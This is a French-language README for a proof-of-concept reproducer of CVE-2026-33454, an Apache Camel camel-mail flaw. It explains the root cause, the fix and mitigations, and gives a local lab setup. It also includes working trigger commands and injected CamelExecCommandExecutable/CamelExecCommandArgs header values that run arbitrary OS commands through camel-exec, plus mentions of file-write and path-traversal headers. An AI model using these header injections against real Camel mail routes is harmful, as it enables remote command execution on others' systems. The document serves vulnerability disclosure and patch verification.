
Reproducteur pour CVE-2026-33454 : injection d'en-têtes camel-mail d'Apache Camel menant à une RCE via camel-exec
Ce projet démontre une vulnérabilité d'injection d'en-têtes de message Camel dans le composant
camel-mail d'Apache Camel, référencée sous le nom CVE-2026-33454. Un attaquant capable de
délivrer un e-mail à une boîte aux lettres surveillée par un consommateur mail Camel peut injecter
des en-têtes de contrôle Camel* dans l'Exchange, permettant une exécution de code à distance
lorsque la route transmet à un producteur sensible aux en-têtes tel que camel-exec.
Avis de sécurité : https://camel.apache.org/security/CVE-2026-33454.html
| Propriété | Valeur |
|---|---|
| Composant | camel-mail |
| Classe affectée | org.apache.camel.component.mail.MailHeaderFilterStrategy (+ MailBinding.extractHeadersFromMail) |
| Cause racine | La stratégie de filtre configure uniquement la direction OUT (setOutFilterStartsWith) et PAS la direction IN, de sorte que les en-têtes MIME entrants ne sont pas filtrés |
| CWE | CWE-20: Validation incorrecte des entrées (injection d'en-têtes de message Camel) |
| Impact | Exécution de code à distance (via des producteurs sensibles aux en-têtes, p. ex. camel-exec) |
| Versions affectées | De 3.0.0 avant 4.14.6, et de 4.15.0 avant 4.18.1 |
| Versions corrigées | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| Rapporteur | Hyunwoo Kim (@v4bel) |
MailHeaderFilterStrategy étend DefaultHeaderFilterStrategy. Dans les versions affectées, son
constructeur configure uniquement le filtre out et ne définit jamais le filtre in :
// MailHeaderFilterStrategy - affected version (only the OUT direction is filtered)
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH); // OUT only
// no setInFilterStartsWith(...) -> inbound Camel* headers are NOT filtered
}
Lorsque Camel consomme du courrier (par exemple from("imap://...") ou from("pop3://...")),
MailBinding.extractHeadersFromMail() copie chaque en-tête MIME dans les en-têtes In de l'Exchange,
régulé par headerFilterStrategy.applyFilterToExternalHeaders(...). Comme le filtre in n'a
jamais été configuré, les en-têtes MIME préfixés par Camel* passent directement :
// MailBinding.extractHeadersFromMail() - the in-filter is not configured, so Camel* passes
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }
Un attaquant capable d'envoyer un e-mail à la boîte aux lettres surveillée peut donc définir des
en-têtes de contrôle Camel* arbitraires. Lorsque la route transmet à un producteur sensible aux
en-têtes tel que camel-exec, les en-têtes CamelExecCommandExecutable / CamelExecCommandArgs
remplacent la commande (prises en compte par défaut dans les versions affectées) → exécution
arbitraire de commandes OS.
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class);
Un conteneur GreenMail fournit SMTP (3025) et IMAP (3143) avec une seule boîte aux lettres
(identifiant victim, mot de passe secret, adresse victim@localhost) :
docker compose up -d
# or:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
-e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
greenmail/standalone:2.1.0
mvn clean package -DskipTests
mvn spring-boot:run
Démarre la route victime IMAP et un contrôleur REST auxiliaire sur 8080.
curl http://localhost:8080/exploit/normal
Le consommateur le récupère et exécute echo hello.
# default benign proof: touch /tmp/pwned
curl http://localhost:8080/exploit/attack
# or choose the executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"
Ceci délivre un e-mail dont les en-têtes MIME incluent :
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned
# wait ~2s for the IMAP poll cycle, then:
ls -la /tmp/pwned
Si /tmp/pwned existe, l'en-tête MIME injecté a remplacé la commande exec → RCE.
docker compose down # or: docker rm -f greenmail-cve
L'injection nécessite seulement un producteur sensible aux en-têtes en aval. L'avis de sécurité mentionne camel-bean, camel-exec et camel-sql ; plus largement :
CamelExecCommandExecutable / CamelExecCommandArgs → exécution de commande OSCamelFileName → écriture de fichier arbitraire / traversée de cheminCamelBeanMethodName → invoquer une autre méthodeimap://, imaps://, pop3://, ...).removeHeaders("Camel*") entre le consommateur mail et ce producteur.L'attaquant a seulement besoin de pouvoir envoyer un e-mail à la boîte aux lettres surveillée.
Le correctif (CAMEL-23222) configure également le filtre entrant :
public MailHeaderFilterStrategy() {
setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
inFilter[CAMEL_FILTER_STARTS_WITH.length] = "mail.smtp.";
inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
setInFilterStartsWith(inFilter); // now the inbound direction is filtered too
}
En attendant la mise à niveau :
.removeHeaders("Camel*") juste après le from("imap:...").CVE-2026-33454/
├── pom.xml
├── docker-compose.yml # GreenMail mail server (SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── MailExecRoute.java # the vulnerable victim route (imap -> exec)
│ └── ExploitController.java # attacker: delivers the malicious email via SMTP
└── resources/
└── application.properties
Ce reproducteur est fourni uniquement pour la recherche en sécurité et les tests autorisés, pour une vulnérabilité publiquement divulguée et corrigée. Ne l'utilisez pas contre des systèmes sans autorisation explicite.